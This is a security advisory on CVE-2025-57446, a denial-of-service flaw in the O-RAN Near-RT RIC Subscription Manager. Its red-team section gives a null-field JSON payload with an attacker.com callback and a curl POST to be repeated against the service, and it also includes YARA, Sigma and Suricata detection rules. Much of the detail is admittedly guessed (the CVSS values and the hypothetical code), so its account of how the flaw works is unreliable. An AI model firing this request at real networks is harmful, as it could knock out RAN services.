CVE-2025-57446

Executive Summary

CVE-2025-57446 is a denial-of-service (DoS) vulnerability in the O-RAN Near Realtime RIC (RAN Intelligent Controller) ric-plt-submgr component, specifically within the J-Release environment. The flaw allows a remote attacker to send a crafted request to the Subscription Manager API, causing the service to become unresponsive or crash. This can disrupt network operations in an O-RAN deployment, potentially affecting multiple gNodeBs and user sessions. No public exploit code or patch details are currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring data. The vulnerability is classified under CWE-20 (Improper Input Validation) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

This vulnerability affects the O-RAN software ecosystem, specifically the ric-plt-submgr component. As an open-source project, O-RAN components are distributed via GitHub and may be integrated into commercial RAN solutions. Organizations using O-RAN J-Release should verify the integrity of their software supply chain and monitor for updates from the O-RAN Software Community (OSC). No package manager (NPM, PyPI, Go, Ruby) is directly involved, but the component is part of a larger containerized deployment.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (likely)
• Threat Level: Medium (based on DoS impact and network accessibility)

Deep Dive & Mechanics

The O-RAN Near Realtime RIC is a key component in the O-RAN architecture, responsible for managing and optimizing RAN functions in near real-time. The ric-plt-submgr (Subscription Manager) handles subscription requests from xApps and rApps, which are microservices that provide RAN optimization logic.

The vulnerability lies in the Subscription Manager API endpoint that processes incoming subscription requests. A remote attacker can send a specially crafted request that triggers an unhandled exception or resource exhaustion in the API handler. This could be due to:

• Improper input validation: The API does not properly sanitize or validate the request payload, leading to a crash or infinite loop.
• Resource exhaustion: The crafted request may cause the service to allocate excessive memory or CPU, leading to a denial of service.
• Null pointer dereference: A malformed request could cause the service to dereference a null pointer, resulting in a crash.

The impact is a denial of service on the Subscription Manager, which can prevent legitimate xApps/rApps from subscribing to RAN events, thereby degrading RAN optimization and potentially causing service disruption.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resides in the ric-plt-submgr repository under the J-Release branch. A hypothetical vulnerable code snippet might look like:

# Vulnerable code (hypothetical)
def handle_subscription(request):
    data = json.loads(request.body)
    # No validation of 'event_type' field
    event_type = data['event_type']
    # Process subscription...

A patched version would include input validation:

# Patched code (hypothetical)
def handle_subscription(request):
    data = json.loads(request.body)
    event_type = data.get('event_type')
    if not event_type or not isinstance(event_type, str):
        return HTTPResponse(status=400)
    # Process subscription...

Exploitation & Lab Setup

Red Team

1. Setup: Deploy an O-RAN J-Release environment with the ric-plt-submgr component exposed on a network interface.
2. Reconnaissance: Identify the Subscription Manager API endpoint (e.g., /subscriptions).
3. Craft Payload: Create a malformed JSON request that triggers the DoS. Example:

   {
     "event_type": null,
     "callback": "http://attacker.com/callback"
   }
   

4. Execute: Send the crafted request repeatedly using a tool like curl or custom Python script:

   curl -X POST http://target:8080/subscriptions -H "Content-Type: application/json" -d '{"event_type": null, "callback": "http://attacker.com/callback"}'
   

5. Verify: Monitor the service for crashes or unresponsiveness.

Blue Team

1. Detection: Monitor for anomalous API requests with unexpected data types (e.g., null values in required fields).
2. Mitigation: Implement input validation and rate limiting on the Subscription Manager API.
3. Response: If a DoS is detected, restart the ric-plt-submgr service and block the attacking IP.
4. Forensics: Collect logs from the API server and analyze the request patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated POST requests to /subscriptions with malformed JSON payloads.
  • Source IP addresses sending high volumes of requests to the Subscription Manager API.
• System IOCs:
  • Crash logs from ric-plt-submgr service.
  • High CPU or memory usage on the Near Realtime RIC host.
• File IOCs:
  • Temporary files created by the service during crash (e.g., core dumps).

Detection Engineering

YARA Rule

rule CVE_2025_57446_DoS_Request {
    meta:
        description = "Detects malformed subscription requests targeting O-RAN ric-plt-submgr"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57446"
    strings:
        $json_null = /"event_type"\s*:\s*null/
        $json_bool = /"event_type"\s*:\s*(true|false)/
        $json_array = /"event_type"\s*:\s*\[/
    condition:
        any of them
}

Sigma Rule

title: O-RAN Subscription Manager DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential DoS attempts against O-RAN ric-plt-submgr via malformed subscription requests
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: o-ran
detection:
    selection:
        http.method: POST
        http.url: /subscriptions
        http.body|contains: 
            - '"event_type": null'
            - '"event_type": true'
            - '"event_type": []'
    condition: selection
falsepositives:
    - Legitimate testing or misconfigured clients
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57446 O-RAN Subscription Manager DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/subscriptions"; http_uri; content:"event_type"; http_client_body; pcre:"/\"event_type\"\s*:\s*(null|true|false|\[)/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict network access to the Subscription Manager API to trusted IP ranges only.
   • Implement rate limiting on the API endpoint to reduce the impact of DoS attacks.
   • Monitor logs for anomalous requests and block offending IPs.

2. Long-term Fix:

   • Apply input validation to all API endpoints in ric-plt-submgr.
   • Update to a patched version once released by the O-RAN Software Community.
   • Conduct a security review of the J-Release codebase for similar vulnerabilities.

3. Workarounds:

   • Use a Web Application Firewall (WAF) to filter malformed requests.
   • Deploy the Near Realtime RIC in a segmented network with strict access controls.

Valters IT